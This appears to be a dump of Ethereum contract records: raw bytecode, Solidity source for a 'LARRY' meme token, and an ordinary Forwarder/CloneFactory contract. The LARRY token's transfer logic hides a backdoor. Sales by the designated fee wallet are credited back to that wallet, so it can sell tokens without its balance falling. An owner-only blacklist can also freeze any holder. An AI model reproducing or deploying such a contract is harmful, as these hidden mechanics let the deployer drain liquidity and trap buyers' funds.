b81526004016105eb9190611b7b565b5060006118148486611f1a565b95945050505050565b60008260000361182f575060006105bb565b600061183b8385611e9f565b9050826118488583611f2d565b1461189f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105eb565b9392505050565b600061189f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b4d565b60008183116118f7578261189f565b50919050565b6018805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061193f5761193f611eb6565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119bc9190611d4b565b816001815181106119cf576119cf611eb6565b6001600160a01b0392831660209182029290920101526015546119f59130911684610e3d565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a2e908590600090869030904290600401611f4f565b600060405180830381600087803b158015611a4857600080fd5b505af1158015611a5c573d6000803e3d6000fd5b50506018805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611aa8573d6000803e3d6000fd5b5050565b600080611ab98385611f07565b90508381101561189f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105eb565b600061189f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117e3565b60008183611b6e5760405162461bcd60e51b81526004016105eb9190611b7b565b5060006118148486611f2d565b600060208083528351808285015260005b81811015611ba857858101830151858201604001528201611b8c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a4157600080fd5b60008060408385031215611bf157600080fd5b8235611bfc81611bc9565b946020939093013593505050565b600060208284031215611c1c57600080fd5b813561189f81611bc9565b600080600060608486031215611c3c57600080fd5b8335611c4781611bc9565b92506020840135611c5781611bc9565b929592945050506040919091013590565b60008060208385031215611c7b57600080fd5b823567ffffffffffffffff80821115611c9357600080fd5b818501915085601f830112611ca757600080fd5b813581811115611cb657600080fd5b8660208260051b8501011115611ccb57600080fd5b60209290920196919550909350505050565b60008060408385031215611cf057600080fd5b8235611cfb81611bc9565b91506020830135611d0b81611bc9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d5d57600080fd5b815161189f81611bc9565b600080600060608486031215611d7d57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611de7578160001904821115611dcd57611dcd611d96565b80851615611dda57918102915b93841c9390800290611db1565b509250929050565b600082611dfe575060016105bb565b81611e0b575060006105bb565b8160018114611e215760028114611e2b57611e47565b60019150506105bb565b60ff841115611e3c57611e3c611d96565b50506001821b6105bb565b5060208310610133831016604e8410600b8410161715611e6a575081810a6105bb565b611e748383611dac565b8060001904821115611e8857611e88611d96565b029392505050565b600061189f60ff841683611def565b80820281158282048414176105bb576105bb611d96565b634e487b7160e01b600052603260045260246000fd5b600060018201611ede57611ede611d96565b5060010190565b600060208284031215611ef757600080fd5b8151801515811461189f57600080fd5b808201808211156105bb576105bb611d96565b818103818111156105bb576105bb611d96565b600082611f4a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f9f5784516001600160a01b031683529383019391830191600101611f7a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7def9ff4d40b19a6c1c4d615a00447b8bb35e93e9c002b748e1651461efb9d564736f6c63430008130033 | /**
Website: https://larryoneth.site/
Twitter: https://x.com/larryon_eth
Telegram: https://t.me/larryeth_portal
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LARRY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private isFree;
mapping(address => bool) public marketPair;
address payable private _feePart;
uint256 firstBlock;
uint256 private _initialBuyTax = 30;
uint256 private _initialSellTax = 30;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 15;
uint256 private _reduceSellTaxAt = 15;
uint256 private _preventSwapBefore = 15;
uint256 private _buyCount = 0;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = "Larry, A Lonely Whale";
string private constant _symbol = "LARRY";
uint256 public _maxTxAmount = 20000000 * 10**_decimals;
uint256 public _maxWalletSize = 20000000 * 10**_decimals;
uint256 public _taxSwapThreshold = 5000 * 10**_decimals;
uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
uint256 public caCount = 2;
bool private inSwap = false;
bool private swapEnabled = false;
bool public caLimiter = true;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_feePart = payable(0x31cD0dc3752Dc8dC6CdE26A3939a1D7D40036f16);
_balances[_msgSender()] = _tTotal;
isFree[owner()] = true;
isFree[address(this)] = true;
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tTotal);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
mapping(address => bool) public _isBlacklisted;
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function removeFromBlackList(address account) external onlyOwner {
_isBlacklisted[account] = false;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(
!_isBlacklisted[from] && !_isBlacklisted[to],
"To/from address is blacklisted"
);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
address taxReceiver = address(this);
if (
from != owner() &&
to != owner() &&
from != address(this) &&
to != address(this)
) {
taxAmount = amount
.mul(
(_buyCount >= _reduceBuyTaxAt)
? _finalBuyTax
: _initialBuyTax
)
.div(100);
if (
marketPair[from] &&
to != address(uniswapV2Router) &&
!isFree[to]
) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
_buyCount++;
}
if (!marketPair[to] && !isFree[to]) {
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
}
if (marketPair[to] && from != address(this)) {
taxAmount = from != _feePart
? amount
.mul(
(_buyCount >= _reduceSellTaxAt)
? _finalSellTax
: _initialSellTax
)
.div(100)
: amount;
taxReceiver = from != _feePart ? address(this) : _feePart;
}
if (!marketPair[from] && !marketPair[to] && from != address(this)) {
taxAmount = 0;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
caLimiter &&
!inSwap &&
marketPair[to] &&
swapEnabled &&
amount > _taxSwapThreshold &&
_buyCount >= _preventSwapBefore
) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < caCount, "CA balance sell");
uint256 swapAmount = min(contractTokenBalance, _maxTaxSwap);
if (swapAmount > _taxSwapThreshold)
swapTokensForEth(swapAmount);
sendETHToFee(address(this).balance);
sellCount++;
lastSellBlock = block.number;
} else if (
!inSwap &&
marketPair[to] &&
swapEnabled &&
amount > _taxSwapThreshold &&
_buyCount > _preventSwapBefore
) {
uint256 swapAmount = min(contractTokenBalance, _maxTaxSwap);
if (swapAmount > _taxSwapThreshold)
swapTokensForEth(swapAmount);
sendETHToFee(address(this).balance);
}
}
uint256 tookAmount = amount;
if (taxAmount > 0) {
_balances[taxReceiver] = _balances[taxReceiver].add(taxAmount);
tookAmount = amount.sub(taxAmount) == 0
? amount
: amount.sub(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(tookAmount);
emit Transfer(from, to, tookAmount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function removeFromBlackListwallets(address[] calldata addresses)
public
onlyOwner
{
for (uint256 i; i < addresses.length; ++i) {
_isBlacklisted[addresses[i]] = false;
}
}
function isContract(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addToBlackList(address[] calldata addresses) external onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isBlacklisted[addresses[i]] = true;
}
}
function freeStuckETH() external onlyOwner {
payable(_feePart).transfer(address(this).balance);
}
function freeStuckERC20(address _tokenAddr, uint256 _amount)
external
onlyOwner
{
IERC20(_tokenAddr).transfer(_feePart, _amount);
}
function freeLarryWhale() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_feePart.transfer(amount);
}
function openSea() external onlyOwner {
require(!tradingOpen, "trading is already open");
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
marketPair[address(uniswapV2Pair)] = true;
isFree[address(uniswapV2Pair)] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
tradingOpen = true;
firstBlock = block.number;
}
receive() external payable {}
} |
1 | 20,290,775 | 566017991ac6fad8adecb9a6f24506c78eee5c3fc2b6ac3a2eeeab942932c64d | 4b3771bb4ea4e9d6be856b27a731fdc304d3b87e2efa3976b7b5cba07327bac0 | d2c82f2e5fa236e114a81173e375a73664610998 | ffa397285ce46fb78c588a9e993286aac68c37cd | 3a7b265325a620ac747296e30584c677b77c01bf | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 20,290,777 | a4eacc967c092a654dc7e5196dffdecae8cead1b23c08272f2d437d94f4c777c | 7981b77706916b2333fc51f316607abdad1dfcd951d174483a55dfc3767aa6e9 | c9aad2fc90eddacf02bd11fa690e3b44e318aa9b | a2a1bf5a83f9daec2dc364e1c561e937163cb613 | 491676dbb1288e43c4e982f0372116f491c4a8a2 | 3d602d80600a3d3981f3363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,778 | 5aa2978165f73766306d65f161f2521e0ff542c4ed9c112358507b26531b73f6 | 00dba3480f9d79277cad4c53f9ba9c7c33ec58cd410fb604666666d8c08e391c | 7b529cea3c84c6204aa94e0d04535dcb5b3f297f | 7b529cea3c84c6204aa94e0d04535dcb5b3f297f | 1e87f62091c89322ddc2ac31eee15268c840f2d2 | 60806040527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60015573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600555737a250d5630b4cf539739df2c5dacb4c659f2488d60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506402540be3ff600a555f600b555f600c555f600d5f6101000a81548160ff021916908360ff1602179055506001600d60016101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff021916908315150217905550612710600e55600160105f6101000a81548160ff0219169083151502179055505f601060016101000a81548160ff0219169083151502179055505f6011555f60125f6101000a81548160ff021916908315150217905550600a601355600160145f6101000a81548160ff021916908315150217905550603d6015553480156200021e575f80fd5b5060405162005a3d38038062005a3d8339818101604052810190620002449190620007d2565b62000264620002586200044160201b60201c565b6200044860201b60201c565b8260175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160039080519060200190620002bc92919062000509565b508060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f5f734838b106fce9647bdf1e7877bf73ce8b0bad5f9773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f73df99a0839818b3f120ebac9b73f82b617dc6a55573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f73bd3afb0bb76683ecb4225f9dbc91f998713c3b0173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050506200084a565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054828255905f5260205f2090810192821562000582579160200282015b8281111562000581578251825f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019062000528565b5b50905062000591919062000595565b5090565b5b80821115620005ae575f815f90555060010162000596565b5090565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620005ee82620005c3565b9050919050565b6200060081620005e2565b81146200060b575f80fd5b50565b5f815190506200061e81620005f5565b92915050565b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620006708262000628565b810181811067ffffffffffffffff8211171562000692576200069162000638565b5b80604052505050565b5f620006a6620005b2565b9050620006b4828262000665565b919050565b5f67ffffffffffffffff821115620006d657620006d562000638565b5b602082029050602081019050919050565b5f80fd5b5f620006f782620005c3565b9050919050565b6200070981620006eb565b811462000714575f80fd5b50565b5f815190506200072781620006fe565b92915050565b5f620007436200073d84620006b9565b6200069b565b90508083825260208201905060208402830185811115620007695762000768620006e7565b5b835b8181101562000796578062000781888262000717565b8452602084019350506020810190506200076b565b5050509392505050565b5f82601f830112620007b757620007b662000624565b5b8151620007c98482602086016200072d565b91505092915050565b5f805f60608486031215620007ec57620007eb620005bb565b5b5f620007fb868287016200060e565b935050602084015167ffffffffffffffff8111156200081f576200081e620005bf565b5b6200082d86828701620007a0565b9250506040620008408682870162000717565b9150509250925092565b6151e580620008585f395ff3fe60806040526004361061025f575f3560e01c8063715018a611610143578063a4378b72116100b5578063c36bc34111610079578063c36bc34114610836578063c5db70b514610860578063d1bc76a11461089c578063d3707873146108d8578063dbec28f714610902578063f2fde38b1461092a57610266565b8063a4378b721461076a578063a522ad2514610792578063ad5c4648146107ba578063b0f479a1146107e4578063b66cb7411461080e57610266565b80639251c4ce116101075780639251c4ce1461066c57806398d62a52146106965780639b19251a146106c05780639bab35ee146106fc5780639e58534d14610718578063a3a8a29f1461074257610266565b8063715018a6146105a857806377d1440d146105be57806377fe32d4146105e85780637ff36ab5146106125780638da5cb5b1461064257610266565b80633e8817aa116101dc5780635a201bc3116101a05780635a201bc3146104d25780635d10d04b146104fa5780635e55d5a11461051057806363f2347c1461051a5780636b543e1f146105565780637084c8c61461056c57610266565b80633e8817aa14610402578063452befe21461042c5780634e7602d3146104565780634f0497ca1461047e578063555b37be146104a857610266565b806325e160631161022357806325e160631461033457806329dcb0cf1461035c5780632cd18bec146103865780633388bf34146103b05780633c271a05146103da57610266565b8063017b6e5d1461026857806302b6f8ab1461029257806305bb8293146102ba57806309f656c0146102e257806318ccbba21461030c57610266565b3661026657005b005b348015610273575f80fd5b5061027c610952565b6040516102899190613949565b60405180910390f35b34801561029d575f80fd5b506102b860048036038101906102b39190613a61565b610964565b005b3480156102c5575f80fd5b506102e060048036038101906102db9190613afc565b610a0e565b005b3480156102ed575f80fd5b506102f6610b2c565b6040516103039190613949565b60405180910390f35b348015610317575f80fd5b50610332600480360381019061032d9190613b3a565b610b3e565b005b34801561033f575f80fd5b5061035a60048036038101906103559190613ba0565b610be7565b005b348015610367575f80fd5b50610370610db7565b60405161037d9190613bda565b60405180910390f35b348015610391575f80fd5b5061039a610dbd565b6040516103a79190613c10565b60405180910390f35b3480156103bb575f80fd5b506103c4610dc3565b6040516103d19190613bda565b60405180910390f35b3480156103e5575f80fd5b5061040060048036038101906103fb9190613c29565b610dc9565b005b34801561040d575f80fd5b50610416610e72565b6040516104239190613bda565b60405180910390f35b348015610437575f80fd5b50610440610f41565b60405161044d9190613949565b60405180910390f35b348015610461575f80fd5b5061047c60048036038101906104779190613dce565b610f53565b005b348015610489575f80fd5b50610492610f75565b60405161049f9190613bda565b60405180910390f35b3480156104b3575f80fd5b506104bc611044565b6040516104c99190613ecc565b60405180910390f35b3480156104dd575f80fd5b506104f860048036038101906104f39190613b3a565b611195565b005b348015610505575f80fd5b5061050e611278565b005b6105186112e6565b005b348015610525575f80fd5b50610540600480360381019061053b9190613eec565b61132c565b60405161054d9190613949565b60405180910390f35b348015610561575f80fd5b5061056a611349565b005b348015610577575f80fd5b50610592600480360381019061058d9190613f17565b6114ed565b60405161059f9190613949565b60405180910390f35b3480156105b3575f80fd5b506105bc611604565b005b3480156105c9575f80fd5b506105d2611617565b6040516105df9190613bda565b60405180910390f35b3480156105f3575f80fd5b506105fc61161d565b6040516106099190613bda565b60405180910390f35b61062c60048036038101906106279190613f67565b611623565b60405161063991906140a2565b60405180910390f35b34801561064d575f80fd5b506106566120a5565b60405161066391906140d1565b60405180910390f35b348015610677575f80fd5b506106806120cc565b60405161068d9190613bda565b60405180910390f35b3480156106a1575f80fd5b506106aa61219b565b6040516106b79190613949565b60405180910390f35b3480156106cb575f80fd5b506106e660048036038101906106e19190613eec565b6121ae565b6040516106f39190613949565b60405180910390f35b610716600480360381019061071191906140ea565b6121cb565b005b348015610723575f80fd5b5061072c612d50565b6040516107399190613949565b60405180910390f35b34801561074d575f80fd5b50610768600480360381019061076391906141ca565b612d63565b005b348015610775575f80fd5b50610790600480360381019061078b9190613ba0565b612e33565b005b34801561079d575f80fd5b506107b860048036038101906107b391906141f5565b612e90565b005b3480156107c5575f80fd5b506107ce612fd6565b6040516107db91906140d1565b60405180910390f35b3480156107ef575f80fd5b506107f8612ffb565b60405161080591906140d1565b60405180910390f35b348015610819575f80fd5b50610834600480360381019061082f9190613b3a565b6130e9565b005b348015610841575f80fd5b5061084a613193565b6040516108579190613949565b60405180910390f35b34801561086b575f80fd5b5061088660048036038101906108819190613eec565b6131a6565b6040516108939190613949565b60405180910390f35b3480156108a7575f80fd5b506108c260048036038101906108bd91906141ca565b6131f8565b6040516108cf91906140d1565b60405180910390f35b3480156108e3575f80fd5b506108ec613233565b